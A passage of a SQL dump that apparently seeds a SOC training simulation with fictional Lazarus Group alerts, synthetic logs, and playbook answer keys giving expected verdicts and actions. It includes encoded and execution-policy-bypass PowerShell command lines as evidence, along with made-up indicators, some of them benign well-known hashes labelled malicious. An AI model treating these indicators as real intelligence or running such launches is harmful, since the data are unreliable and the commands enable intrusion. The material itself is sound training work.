credentials\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"9c9c1c8a5f1c4e5a6c7e1e8f9f4b3c7d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with known malware campaigns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-01T20:32:22.682Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(992, 'Execution of Destructive Malware', 'high', 'Endpoint detection logs', 'The endpoint detection system has identified the execution of a known destructive malware variant associated with the Lazarus Group. The malware was executed to disable security measures, allowing attackers to move undetected within the network. Immediate containment actions are recommended to prevent further damage.', 'Malware Deployment', 'T1486 - Data Encrypted for Impact', 1, 'Closed', 74, '{\"timestamp\":\"2023-10-11T08:45:27Z\",\"event_id\":\"EVT-202310110001\",\"source_ip\":\"185.123.231.12\",\"internal_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"malware_filename\":\"destructo.exe\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"execution\",\"message\":\"Destructive malware detected and executed on host 192.168.1.10 by user jdoe. Associated with Lazarus Group activities.\"}', '2026-01-17 03:42:27', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.123.231.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host where malware was executed.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"destructo.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Identified as destructive malware used by Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known destructive malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(993, 'Establishing Persistence via Backdoor', 'medium', 'Network traffic analysis', 'The attackers installed a backdoor, ensuring they could re-enter the network as needed to continue their operation. This activity is consistent with tactics used by the Lazarus Group.', 'Backdoor Installation', 'TA0003 - Persistence', 1, 'new', 74, '{\"timestamp\":\"2023-10-01T14:45:00Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.15\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":8080,\"filename\":\"backdoor_installer.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\",\"action\":\"File executed\",\"description\":\"A suspicious executable associated with known Lazarus Group activity was detected being executed on the network.\"}', '2026-01-17 03:42:27', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in the event.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used in Lazarus Group campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account on the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(994, 'Lateral Movement to Validator Nodes', 'high', 'Active Directory logs', 'Indicators of credential dumping were identified, suggesting lateral movement within the network, targeting validator nodes. This activity aligns with known tactics and techniques of the Lazarus Group.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"logon_type\":\"3\",\"account_name\":\"jdoe\",\"source_ip\":\"203.0.113.42\",\"target_ip\":\"192.168.1.10\",\"process_name\":\"lsass.exe\",\"hash\":\"3f6d7c9e1b2f4d3e9a7fbc7e5a8e9ea6\",\"domain\":\"company.local\",\"message\":\"An attempt to dump credentials was detected from IP 203.0.113.42 targeting IP 192.168.1.10 using the process lsass.exe.\"}', '2026-01-17 03:42:27', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal validator node targeted for compromise.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f6d7c9e1b2f4d3e9a7fbc7e5a8e9ea6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a credential dumping tool used by the Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lsass.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"System Process\",\"verdict\":\"clean\",\"details\":\"Legitimate system process potentially exploited for credential dumping.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(995, 'Exfiltration of Cryptocurrency', 'critical', 'Blockchain transaction logs', 'With control over the validator nodes, the attackers exfiltrated $625 million in cryptocurrency, executing the largest crypto heist in history.', 'Data Exfiltration', 'T1567.002', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"event_id\":\"0x1a2b3c\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"transaction_id\":\"0x9f8b7a9d\",\"amount\":\"625000000\",\"currency\":\"USD\",\"wallet_address\":\"0x123abc456def789ghi101112jklmno\",\"malware_hash\":\"b8c7b15d3ef9a8f2e3c9a4f6d3e7a9d1\",\"user\":\"attacker_account\",\"filename\":\"transaction_exfil.exe\"}', '2026-01-17 03:42:27', '2026-02-16 17:49:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for transaction initiation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b8c7b15d3ef9a8f2e3c9a4f6d3e7a9d1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with destructive malware used by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"transaction_exfil.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used for exfiltrating cryptocurrency.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.687Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_id\\\":\\\"0x1a2b3c\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"transaction_id\\\":\\\"0x9f8b7a9d\\\",\\\"amount\\\":\\\"625000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"wallet_address\\\":\\\"0x123abc456def789ghi101112jklmno\\\",\\\"malware_hash\\\":\\\"b8c7b15d3ef9a8f2e3c9a4f6d3e7a9d1\\\",\\\"user\\\":\\\"attacker_account\\\",\\\"filename\\\":\\\"transaction_exfil.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.687Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_id\\\":\\\"0x1a2b3c\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"transaction_id\\\":\\\"0x9f8b7a9d\\\",\\\"amount\\\":\\\"625000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"wallet_address\\\":\\\"0x123abc456def789ghi101112jklmno\\\",\\\"malware_hash\\\":\\\"b8c7b15d3ef9a8f2e3c9a4f6d3e7a9d1\\\",\\\"user\\\":\\\"attacker_account\\\",\\\"filename\\\":\\\"transaction_exfil.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.687Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_id\\\":\\\"0x1a2b3c\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"transaction_id\\\":\\\"0x9f8b7a9d\\\",\\\"amount\\\":\\\"625000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"wallet_address\\\":\\\"0x123abc456def789ghi101112jklmno\\\",\\\"malware_hash\\\":\\\"b8c7b15d3ef9a8f2e3c9a4f6d3e7a9d1\\\",\\\"user\\\":\\\"attacker_account\\\",\\\"filename\\\":\\\"transaction_exfil.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.687Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_id\\\":\\\"0x1a2b3c\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"transaction_id\\\":\\\"0x9f8b7a9d\\\",\\\"amount\\\":\\\"625000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"wallet_address\\\":\\\"0x123abc456def789ghi101112jklmno\\\",\\\"malware_hash\\\":\\\"b8c7b15d3ef9a8f2e3c9a4f6d3e7a9d1\\\",\\\"user\\\":\\\"attacker_account\\\",\\\"filename\\\":\\\"transaction_exfil.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.687Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:45Z\\\",\\\"event_id\\\":\\\"0x1a2b3c\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"transaction_id\\\":\\\"0x9f8b7a9d\\\",\\\"amount\\\":\\\"625000000\\\",\\\"currency\\\":\\\"USD\\\",\\\"wallet_address\\\":\\\"0x123abc456def789ghi101112jklmno\\\",\\\"malware_hash\\\":\\\"b8c7b15d3ef9a8f2e3c9a4f6d3e7a9d1\\\",\\\"user\\\":\\\"attacker_account\\\",\\\"filename\\\":\\\"transaction_exfil.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(996, 'Suspicious Multi-Sig Scheme Compromise', 'high', 'Blockchain security monitoring tools', 'An initial access attempt was detected targeting a multi-signature wallet, potentially linked to the Lazarus Group. The operation aims to exploit vulnerabilities in the multi-sig scheme, setting the stage for a cryptocurrency heist.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-16T08:45:12Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.5\",\"user\":\"admin_user\",\"event\":\"multi-sig_wallet_access_attempt\",\"details\":{\"description\":\"Unauthorized access attempt detected\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"wallet_access_tool.exe\",\"signature\":\"Lazarus Group\"}}', '2026-01-17 03:44:49', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted multi-sig wallet server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known Lazarus Group malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wallet_access_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Detection\",\"verdict\":\"suspicious\",\"details\":\"Filename used in unauthorized access attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.688Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-16T08:45:12Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"event\\\":\\\"multi-sig_wallet_access_attempt\\\",\\\"details\\\":{\\\"description\\\":\\\"Unauthorized access attempt detected\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"wallet_access_tool.exe\\\",\\\"signature\\\":\\\"Lazarus Group\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.688Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-16T08:45:12Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"event\\\":\\\"multi-sig_wallet_access_attempt\\\",\\\"details\\\":{\\\"description\\\":\\\"Unauthorized access attempt detected\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"wallet_access_tool.exe\\\",\\\"signature\\\":\\\"Lazarus Group\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.688Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-16T08:45:12Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"event\\\":\\\"multi-sig_wallet_access_attempt\\\",\\\"details\\\":{\\\"description\\\":\\\"Unauthorized access attempt detected\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"wallet_access_tool.exe\\\",\\\"signature\\\":\\\"Lazarus Group\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.688Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-16T08:45:12Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"event\\\":\\\"multi-sig_wallet_access_attempt\\\",\\\"details\\\":{\\\"description\\\":\\\"Unauthorized access attempt detected\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"wallet_access_tool.exe\\\",\\\"signature\\\":\\\"Lazarus Group\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.688Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-16T08:45:12Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.5\\\",\\\"user\\\":\\\"admin_user\\\",\\\"event\\\":\\\"multi-sig_wallet_access_attempt\\\",\\\"details\\\":{\\\"description\\\":\\\"Unauthorized access attempt detected\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"wallet_access_tool.exe\\\",\\\"signature\\\":\\\"Lazarus Group\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(997, 'Destructive Malware Deployment', 'high', 'Endpoint detection and response (EDR) logs', 'An attempt to deploy destructive malware was detected on the network. The malware aims to disrupt bridge operations and mask illicit activities by echoing the signature tactics of the Lazarus Group.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"execution\",\"event_id\":\"12345\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Temp\\\\destructo.ps1\",\"file_name\":\"destructo.ps1\",\"file_hash\":\"7c6a180b36896a0a8c02787eeafb0e4c\",\"process_id\":6789,\"parent_process\":\"explorer.exe\",\"parent_process_id\":4567}', '2026-01-17 03:44:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to the corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known Lazarus Group activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7c6a180b36896a0a8c02787eeafb0e4c\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known destructive malware used by the Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"destructo.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"file analysis\",\"verdict\":\"suspicious\",\"details\":\"File name associated with unusual PowerShell activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(998, 'Cryptocurrency Laundering Infrastructure Detected', 'high', 'Cryptocurrency transaction analysis', 'Stolen funds are being processed through a complex laundering network involving mixers and exchanges. The operation is linked to the Lazarus Group, known for their advanced financial theft techniques.', 'Exfiltration', 'T1537 - Transfer Data to a Different Medium', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:20:35Z\",\"transaction_id\":\"tx1234567890abcdef\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"hash\":\"a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0\",\"mixer_address\":\"1MixerXYZ123456789abcdef\",\"exchange_domain\":\"cryptomixexchange.com\",\"user\":\"john.doe@example.com\",\"amount\":\"10 BTC\",\"malicious\":true}', '2026-01-17 03:44:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group IP associated with cryptocurrency laundering.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash of the malware used in the laundering operation.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"cryptomixexchange.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"suspicious\",\"details\":\"Domain associated with suspicious cryptocurrency exchange activity.\"}},{\"id\":\"artifact_5\",\"type\":\"email\",\"value\":\"john.doe@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Email address of the implicated user in the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.690Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:20:35Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0\\\",\\\"mixer_address\\\":\\\"1MixerXYZ123456789abcdef\\\",\\\"exchange_domain\\\":\\\"cryptomixexchange.com\\\",\\\"user\\\":\\\"john.doe@example.com\\\",\\\"amount\\\":\\\"10 BTC\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:31:22.690Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 